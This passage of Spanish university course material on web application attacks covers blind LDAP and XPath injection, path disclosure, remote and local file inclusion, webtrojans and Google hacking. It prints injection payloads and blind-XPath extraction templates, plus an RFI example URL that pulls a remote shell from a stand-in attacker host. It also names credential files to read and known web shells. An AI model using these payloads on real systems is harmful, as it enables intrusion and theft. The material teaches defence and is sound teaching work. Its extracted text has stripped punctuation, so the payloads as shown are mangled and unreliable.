puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

